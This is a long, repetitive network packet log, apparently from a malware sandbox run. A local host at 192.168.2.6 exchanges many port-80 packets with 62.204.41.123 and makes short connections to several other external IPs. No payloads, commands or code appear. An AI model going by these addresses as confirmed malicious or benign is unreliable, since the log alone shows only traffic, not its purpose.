Sep 2, 2022 14:02:21.376166105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376171112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376207113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376209974 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376245975 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376250982 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376286983 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376291990 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376328945 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376332045 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376368046 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376372099 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376410007 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376411915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376449108 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376451015 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376487017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376491070 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376528025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376530886 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376568079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376570940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376610041 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376615047 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376652956 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376652956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376688957 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376693010 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376729965 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376733065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376769066 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376770973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376806021 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376810074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376848936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376849890 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376883984 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376888037 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376924992 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376929998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.376965046 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.376969099 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377003908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377008915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377044916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377048969 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377088070 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377113104 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377129078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377130032 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377168894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377254963 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377260923 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377299070 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377301931 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377341032 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377342939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377381086 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377401114 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377422094 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377434969 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377461910 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377475023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377516985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377526999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377562046 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377568007 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377604008 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377607107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377641916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377649069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377684116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377687931 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377722979 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377728939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377764940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377769947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377804041 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377809048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.377841949 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.377990007 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.378082037 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437428951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437482119 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437520981 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437562943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437578917 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437602997 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437603951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437616110 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437647104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437650919 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437689066 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437696934 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437726974 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437736988 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437767029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437767982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437808037 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437827110 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437846899 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437861919 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437889099 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437896967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437930107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.437943935 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.437980890 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438028097 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438110113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438132048 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438174009 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438182116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438256025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438275099 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438317060 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438359022 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438370943 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438397884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438405991 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438438892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438446999 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438478947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438488007 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438549995 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438560963 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438595057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438638926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438643932 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438647985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438680887 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438720942 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438731909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438760996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438769102 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438802004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438807964 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438841105 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438858986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438879967 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438886881 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438919067 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438920975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.438960075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.438961029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439001083 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439002037 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439040899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439043045 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439080954 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439083099 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439121008 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439121008 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439162016 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439162016 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439201117 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439203024 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439240932 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439240932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439299107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439342022 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439361095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439404964 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439412117 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439471006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439526081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439527035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439568043 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439568996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439600945 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439665079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439686060 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439697027 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439721107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439753056 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439768076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439814091 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439856052 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439882040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439889908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.439959049 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.439979076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.440001011 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.440011024 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.440040112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.440069914 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.440079927 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.440099001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.440133095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.440143108 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.440231085 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.440241098 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.440283060 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.497631073 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.497756004 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.617583990 CEST	49785	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.618237019 CEST	49784	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.620352983 CEST	49786	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:21.620846987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:21.626955986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.627469063 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.627480984 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:21.627540112 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:21.653599977 CEST	80	49786	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:21.653690100 CEST	49786	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:21.665730000 CEST	80	49785	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.665751934 CEST	80	49785	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.665760994 CEST	80	49785	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.665853977 CEST	49785	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.665914059 CEST	49785	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.674674034 CEST	80	49784	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.674700022 CEST	80	49784	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.674719095 CEST	80	49784	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.674814939 CEST	49784	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.686558008 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.686578989 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.686598063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.686654091 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.686698914 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.686880112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.686899900 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.686920881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.686939955 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.686948061 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.686955929 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.686974049 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.686978102 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.686983109 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687005043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687026024 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687028885 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687035084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687042952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687057018 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687088013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687108040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687129021 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687143087 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687145948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687148094 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687151909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687155008 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687160969 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687161922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687170029 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687186003 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687203884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687226057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687242985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687242985 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687275887 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687283039 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687288046 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687299967 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687316895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687324047 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687329054 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687361002 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687364101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687367916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687380075 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687397003 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687410116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687437057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687459946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687478065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687494040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687490940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687510967 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687515974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687527895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687551975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687572002 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687582970 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687589884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687613010 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687630892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687643051 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687647104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687674046 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687686920 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687690973 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687690973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687709093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687714100 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687719107 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687721968 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687726021 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687730074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687752008 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687756062 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687768936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687784910 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687788010 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687793016 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687796116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687798977 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687800884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687803030 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687807083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687818050 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687833071 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687834978 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687849045 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687869072 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687872887 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687877893 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687881947 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687886000 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687905073 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687910080 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687911987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687932014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687947989 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687964916 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687969923 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.687979937 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.687997103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688018084 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688019037 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688024044 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688026905 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688030005 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688036919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688070059 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688081026 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688086987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688086033 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688103914 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688119888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688137054 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688148975 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.688153982 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.688153982 CEST	49768	80	192.168.2.6	62.204.41.123
